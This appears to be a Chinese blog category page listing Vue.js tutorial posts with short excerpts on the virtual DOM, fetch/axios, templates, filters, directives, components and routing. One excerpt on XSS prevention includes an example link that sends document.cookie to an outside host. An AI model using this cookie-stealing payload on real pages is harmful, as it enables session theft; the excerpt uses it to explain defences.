![](https://img-blog.csdnimg.cn/20201014180756918.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
Vue
文章平均质量分 58
青黄皂白
这个作者很懒,什么都没留下…
展开
-
vue-重塑筋脉-组件
vue-重塑筋脉-组件1.虚拟DOM与diff算法 key的作用虚拟DOM是vue针对真实dom进行增加或删除的操作的时候,需要将上一个dom树删除再重新生成一个新的dom树,而这样是非常耗费资源并且繁琐的。所以vue就采用了这样一个方法解决了这个问题,首先,开发者需要将dom树的每个节点赋予一个key值,这个key必须是唯一的。而dom发生变化时,首先会通过diff算法,比较更新后的虚拟dom与真实的dom有什么不同,再通过相同key值不变的保留,变化的进行改变来达成增加或删除的操作。这样,没改变值的原创 2021-05-02 22:46:33 · 228 阅读 · 1 评论 -
vue-新的信使fetch&axios
vue-新的信使fetch&axiosfetch why: XMLHttpRequest 是一个设计粗糙的 API,配置和调用方式非常混乱, 而且基于事件的异步模型写起来不友好。 fetch的问题是兼容性不好 能够兼容ie8的polyfill: https://github.com/camsong/fetch-ie8(原理是不能兼容的地方就是用XMLHttpRequest来写)//getfetch("./json/test.json").then(res=>res.原创 2021-05-02 22:45:55 · 82 阅读 · 0 评论 -
vue-响应式渲染
vue_响应式渲染一、模板语法1. 插值 a.文本{{}} b.纯HTML v-html,防止XSS,CSRF( (1)前端过滤 (2)后台转义(< > < >) (3)给cookie加上属性http1 <a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>click</a> c.表原创 2021-05-02 22:45:25 · 340 阅读 · 2 评论 -
Vue-饲料加工厂-过滤器
Vue-饲料加工厂-过滤器1.过滤器https://cn.vuejs.org/v2/guide/filters.htmlVue.js允许你自定义过滤器,可被用于一些常见的文本格式化。过滤器可以用在两个地方:双花括号插值和v-bind表达式(后者从2.1.0+开始支持)。过滤器应该被添加在JavaScript表达式的尾部,由“管道”符号表示:<!-- 在双花括号中 -->{{message | capitalize}}<!--在'v-bind'中 --><div原创 2021-05-02 22:44:48 · 83 阅读 · 0 评论 -
Vue-怀旧经典-指令
Vue-怀旧经典-指令1.自定义指令(1)自定义指令介绍directives——对普通DOM元素进行底层操作//注册一个全局自定义指令`v-focus`Vue.directive('focus',{ //当被绑定元素插入到dom中时…… inserted: function(el){ //聚焦元素 el.focus() }})如果想注册局部指令,组件中也接受一个directives的选项:directives:{ focus:{ //指令的定义 inserted:fu原创 2021-05-02 22:44:09 · 168 阅读 · 0 评论 -
Vue-独立日-单文件组件
Vue-独立日-单文件组件1. 单文件组件https://cn.vuejs.org/v2/guide/single-file-components.htmla.<template>html代码</template><script>js代码</script><style>css代码</style>b.<template>html代码</template><script sr原创 2021-05-02 22:43:32 · 89 阅读 · 0 评论 -
vue-痴汉的路引-路由
vue-痴汉的路引-路由**前言:本文仅用供学习之后理清知识点查看,详细知识点建议访问官方网站:**https://router.vuejs.org/1.SPA概念单页面应用(SinglePage Web Application,SPA)多页面应用(MultiPageApplication,MPA)组成一个外壳和多个页面片段组成多个完整页面构成资源共用(css,js)共用,只需在外壳部分加载不共用,每个页面都需要加载刷新方式页面局部刷新或更改整页刷新原创 2021-05-02 22:43:02 · 1062 阅读 · 1 评论